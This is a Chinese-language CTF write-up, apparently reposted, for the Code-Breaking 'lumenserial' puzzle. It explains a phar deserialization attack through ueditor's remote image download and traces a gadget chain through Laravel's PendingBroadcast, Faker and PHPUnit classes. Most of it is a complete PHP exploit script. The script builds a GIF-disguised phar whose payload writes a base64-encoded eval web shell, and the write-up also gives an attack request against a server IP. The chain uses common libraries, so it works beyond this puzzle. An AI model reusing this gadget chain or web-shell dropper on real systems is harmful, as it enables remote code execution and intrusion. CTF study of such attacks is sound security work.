内容简介:赛题地址:这题极其头疼的就是环境为 php 7.2.12、并且禁用了这些函数
赛题地址: https://code-breaking.com/puzzle/7/
这题极其头疼的就是环境为 php 7.2.12、并且禁用了这些函数
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log
导致找利用的时候需要一个品相特别好的利用链,P师傅是寻找到了一个***(暂时保密)的点,我依据 call_user_func_*
方面找了一些利用
这题用的是 ueditor
,存在远程下载的功能
$content = file_get_contents($url); $img = getimagesizefromstring($content); 这里面其实按理`getimagesizefromstring`也是可以利用phar,不过file_get_contents中的url更好利用一点 POST /server/editor?action=Catchimage&source[]=phar:///var/www/html/xxx HTTP/1.1 Host: 51.158.73.123:8080
寻找gadget
phar反序列化第一步主要找两个魔术方法入口: __destruct|__wakeup
1、Illuminate\Broadcasting::__destruct
namespace Illuminate\Broadcasting{ class PendingBroadcast{ public function __destruct(){ $this->events->dispatch($this->event); } } }
在这里可以通过给 $this->events
存放其他类从而调用其他类的 __call
方法
2、Faker\ValidGenerator::__call
namespace Faker{ class ValidGenerator{ public function __call($name, $arguments){ $i = 0; do { $res = call_user_func_array(array($this->generator, $name), $arguments); $i++; if ($i > $this->maxRetries) { die('error'); } } while (!call_user_func($this->validator, $res)); return $res; } } }
这个是整个的利用核心,因为 __call
魔术方法调用过来的参数只有 $this->event
一个,所以这导致你只能给其他函数传一个参数,没有了命令函数、php7版本的问题(assert成为语言结构,很多函数不能动态调用)导致需要完全控制参数才行.
array( 0 => $argv )
在上面的代码中,先通过 call_user_func_array
调用,然后其结果作为后面的 call_user_func
的参数
3、Faker\Generator::getFormatter (解决 call_user_func
的参数控制)
namespace Faker{ class Generator{ public function getFormatter($formatter){ if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; } } } }
可以看到这里面 getFormatter
会返回 $this->formatters[$formatter]
,也就是 Faker\ValidGenerator::__call
中第二个 call_user_func
的参数得到了解决,因为它可以完全被控制
$this->formatters = [ "exploit" => ["/var/www/html/1.php","aaaa"] ];
4、(进行最终的exploit攻击)
namespace PHPUnit\Framework\MockObject\Stub{ class ReturnCallback implements Stub{ public function invoke(Invocation $invocation){ return \call_user_func_array($this->callback, $invocation->getParameters()); } } } 其中Invocation是一个接口,所以找到具体的类即可 namespace PHPUnit\Framework\MockObject\Invocation; class StaticInvocation implements Invocation, SelfDescribing public function getParameters(): array{ return $this->parameters; } } }
可以看到最后进入 PHPUnit\Framework\MockObject\Stub\ReturnCallback::invoke
的 $this->callback
, $invocation->getParameters()
都是可控的
exploit
<?php namespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event; public function __construct($events, $event) { $this->event = $event; $this->events = $events; } } } namespace Faker{ class Generator{ protected $formatters; function __construct($forma){ $this->formatters = $forma; } } class ValidGenerator{ protected $generator; protected $validator; protected $maxRetries; public function __construct($generator, $validator, $maxRetries = 10000){ $this->generator = $generator; $this->validator = $validator; $this->maxRetries = $maxRetries; } } } namespace PHPUnit\Framework\MockObject\Invocation{ class StaticInvocation{ function __construct($parameters){ $this->parameters = $parameters; } } } namespace PHPUnit\Framework\MockObject\Stub{ class ReturnCallback{ public function __construct($callback){ $this->callback = $callback; } } } # exp func call namespace{ $exp_func = "file_put_contents"; $exp_args = ["C:\\phpstudy2018\\PHPTutorial\\WWW\\ctf\\pwnhub\\lumenserial\\bbbb.php", base64_decode("PD9waHAgZXZhbCgkX0dFVFsnMTEnXSk7Pz4=")]; $exp_args_obj = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($exp_args); $exp_call_obj = new PHPUnit\Framework\MockObject\Stub\ReturnCallback($exp_func); $tmp_arr = ["gogogo" => $exp_args_obj]; $s4_obj = new Faker\Generator($tmp_arr); $get_func_arr = array("dispatch"=> array($s4_obj, "getFormatter")); $s3_obj = new Faker\Generator($get_func_arr); $s2_obj = new Faker\ValidGenerator($s3_obj, array($exp_call_obj,"invoke"), 2); $s1_obj = new Illuminate\Broadcasting\PendingBroadcast($s2_obj, "gogogo"); echo urlencode(serialize($s1_obj))."\n\r\n\r"; $p = new Phar('./exploit.phar', 0); $p->startBuffering(); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $p->setMetadata($s1_obj); $p->addFromString('1.txt','text'); $p->stopBuffering(); }
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- code-breaking
- code-breaking writeup
- code-breaking lumenserial
- Code-Breaking Puzzles 笔记
- Code-Breaking JS Writeup
- Code-Breaking Puzzles 做题记录
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。